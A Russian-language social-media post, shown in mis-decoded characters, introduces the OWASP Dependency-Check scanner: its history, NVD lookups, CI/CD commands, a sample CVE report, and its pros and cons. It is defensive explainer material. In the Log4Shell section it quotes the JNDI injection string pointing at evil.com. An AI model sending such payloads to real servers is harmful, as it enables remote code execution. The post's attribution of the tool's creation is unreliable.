πŸ” OWASP Dependency-Check: ΠžΡ…ΠΎΡ‚Π½ΠΈΠΊ Π² Π²Π°ΡˆΠΈΡ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ…

ΠšΡ€Π°Ρ‚ΠΊΠΎ: Dependency-Check β€” это инструмСнт ΠΎΡ‚ OWASP, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сканируСт ваши ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ уязвимых Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ. Π’Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Π΅ Π΅Π³ΠΎ ΠΊ CI/CD, ΠΎΠ½ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ зависимости (JAR, NPM, NuGet, PIP) ΠΈ свСряСт ΠΈΡ… с Π±Π°Π·ΠΎΠΉ извСстных уязвимостСй (NVD β€” National Vulnerability Database) . Если Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ CVE с высоким Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³ΠΎΠΌ β€” ΠΏΠ°ΠΉΠΏΠ»Π°ΠΉΠ½ ΠΏΠ°Π΄Π°Π΅Ρ‚, ΠΈ ΠΊΠΎΠ΄ Π½Π΅ ΡƒΠ»Π΅Ρ‚Π°Π΅Ρ‚ Π² ΠΏΡ€ΠΎΠ΄. Π‘ΠΎΠ·Π΄Π°Π½ Π² 2012 Π³ΠΎΠ΄Ρƒ, сСгодня ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² тысячах ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ ΠΊΠ°ΠΊ бСсплатная Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π° Snyk ΠΈ WhiteSource.

▫️ Как дошли Π΄ΠΎ ΠΆΠΈΠ·Π½ΠΈ Ρ‚Π°ΠΊΠΎΠΉ 2012 Π³ΠΎΠ΄. Π‘Ρ‚ΠΈΠ² Π‘ΠΏΡ€ΠΈΠ½Π³Π΅Ρ‚Ρ‚ (Steve Springett) Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ OWASP Dependency-Check. Основная идСя: Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π½Π΅ слСдят Π·Π° уязвимостями Π² сторонних Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ…, Π° Ρ…Π°ΠΊΠ΅Ρ€Ρ‹ β€” слСдят. Log4Shell (2021) ΠΏΠΎΠΊΠ°Π·Π°Π» это наглядно: ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ‹ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ использовали ΡƒΡΠ·Π²ΠΈΠΌΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Log4j, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΡ‚ΠΎ Π½Π΅ провСрял зависимости. Π’ 2012-ΠΌ Dependency-Check ΡƒΠΌΠ΅Π» Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Java (JAR, WAR, EAR). Π‘ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ добавились: JavaScript (NPM, Yarn), Python (pip, requirements.txt), .NET (NuGet), Ruby (Gems), PHP (Composer), Go (mod) ΠΈ Π΄Π°ΠΆΠ΅ Docker-ΠΎΠ±Ρ€Π°Π·Ρ‹ . БСгодня Dependency-Check β€” это стандарт для CI/CD Π² ΠΌΠΈΡ€Π΅ open-source ΠΈ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ.

▫️ Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ (Π±Π΅Π· ΠΌΠ°Π³ΠΈΠΈ) 1. Π‘Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ…: Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ парсит всС Ρ„Π°ΠΉΠ»Ρ‹ зависимостСй Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ (pom.xml, package.json, requirements.txt, build.gradle, Dockerfile, .csproj) . 2. Запрос ΠΊ NVD: Dependency-Check ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΊ NVD (National Vulnerability Database) β€” глобальной Π±Π°Π·Π΅ CVE, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Π΅Π΄Ρ‘Ρ‚ NIST (БША). Π‘ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚: «КакиС CVE Π΅ΡΡ‚ΡŒ для Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ log4j-core 2.14.1?Β». Π‘Π°Π·Π° NVD обновляСтся Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎ . 3. Анализ: Π‘Ρ€Π°Π²Π½ΠΈΠ²Π°Π΅Ρ‚ вСрсии Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ с Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ списком уязвимостСй. Для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² (JavaScript) провСряСт Ρ…Π΅ΡˆΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ², Ссли Π² NVD Π½Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ совпадСния ΠΏΠΎ вСрсии. 4. ΠžΡ‚Ρ‡Ρ‘Ρ‚: Π’Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ список Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… CVE с уровнями критичности (CVSS Score 0–10) ΠΈ ссылками Π½Π° описаниС .

▫️ Π˜Π½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΡ Π² CI/CD (ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹) Maven (pom.xml) mvn org.owasp:dependency-check-maven:check

Jenkins + GitHub Actions - name: OWASP Dependency Check run: dependency-check --scan ./ --format HTML --out report.html

Jenkins с ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠΌ Β· Π£ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π³ΠΈΠ½ OWASP Dependency-Check Β· Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ шаг сборки: сканированиС ΠΏΡƒΡ‚Π΅ΠΉ ΠΊ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρƒ Β· ΠΠ°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΏΠΎΡ€ΠΎΠ³ критичности (ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ сборку ΠΏΡ€ΠΈ CVE >= 7.0)

▫️ ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π° (Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ) ПослС сканирования Dependency-Check Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ HTML-Ρ„Π°ΠΉΠ» с Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ: Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° ВСрсия CVE CVSS ОписаниС log4j-core 2.14.1 CVE-2021-44228 10.0 Log4Shell RCE jackson-databind 2.9.8 CVE-2019-12384 8.1 XXE, RCE lodash 4.17.15 CVE-2019-10744 7.5 Prototype pollution КаТдая строка содСрТит ссылку Π½Π° CVE, описаниС уязвимости ΠΈ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΡŽ ΠΏΠΎ вСрсии для обновлСния .

▫️ ΠŸΠ»ΡŽΡΡ‹ ΠΈ минусы ΠŸΠ»ΡŽΡΡ‹: Β· БСсплатно, open-source Β· ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ всС популярныС экосистСмы (Java, NPM, Python, .NET, Go, Ruby, PHP, Docker) Β· Π˜Π½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Π² Jenkins, GitHub Actions, GitLab CI Β· ОбновляСмая Π±Π°Π·Π° NVD

ΠœΠΈΠ½ΡƒΡΡ‹: Β· ΠœΠ΅Π΄Π»Π΅Π½Π½Ρ‹ΠΉ: Π‘ΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ большого ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ 10–30 ΠΌΠΈΠ½ΡƒΡ‚ Β· Π›ΠΎΠΆΠ½Ρ‹Π΅ срабатывания: ΠœΠΎΠΆΠ΅Ρ‚ ΠΏΡƒΡ‚Π°Ρ‚ΡŒ вСрсии Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ Π² слоТных монорСпозиториях Β· Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ Π±Π°Π·Π°: NVD ΠΈΠ½ΠΎΠ³Π΄Π° обновляСтся с Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Π² Π΄Π½ΠΈ послС ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ CVE Β· НСт коммСрчСской ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ (Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Snyk ΠΈΠ»ΠΈ Sonatype)

▫️ ΠšΡƒΠ»ΡŒΡ‚ΡƒΡ€Π½Ρ‹ΠΉ Ρ„Π΅Π½ΠΎΠΌΠ΅Π½ Log4Shell (Π΄Π΅ΠΊΠ°Π±Ρ€ΡŒ 2021) β€” самый Π³Ρ€ΠΎΠΌΠΊΠΈΠΉ CVE Π² истории (CVSS 10.0). Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅ логирования Apache Log4j 2.x, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ Π½Π° сСрвСрС Ρ‡Π΅Ρ€Π΅Π· ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ строку ${jndi:ldap://evil.com/exploit}. ПослС этого ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚Π° Dependency-Check стал ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ инструмСнтом Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΏΠ°ΠΉΠΏΠ»Π°ΠΉΠ½Π°Ρ…. Если Π±Ρ‹ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ сканировали свои зависимости ΠΏΠ΅Ρ€Π΅Π΄ Ρ€Π΅Π»ΠΈΠ·ΠΎΠΌ, ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ‹ сСрвСров Π½Π΅ Π±Ρ‹Π»ΠΈ Π±Ρ‹ скомпромСтированы .

Π“Π»Π°Π²Π½Ρ‹ΠΉ Π²Ρ‹Π²ΠΎΠ΄: Dependency-Check β€” это бСсплатный сканСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ стоит Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ Π² CI/CD Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ нСдСлю Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π°Π΄ Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ, особСнно Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ open-source Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ. Он Π½Π΅ панацСя, Π½ΠΎ Π»ΠΎΠ²ΠΈΡ‚ 80% извСстных Π΄Ρ‹Ρ€. ДополняйтС Π΅Π³ΠΎ Snyk для ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ Π°Π½Π°Π»ΠΈΠ·ΠΎΠΌ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΉ.

#dependencycheck #owasp #devsecops #sca #log4shell #cve #ΠΈΠ½Ρ„ΠΎΠ±Π΅Π· #ci_cd

πŸ” OWASP Dependency-Check: ΠžΡ…ΠΎΡ‚Π½ΠΈΠΊ Π² Π²Π°ΡˆΠΈΡ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ… | Π‘Π΅Ρ‚ΠΊΠ° β€” ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Π°Ρ ΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ hh.ru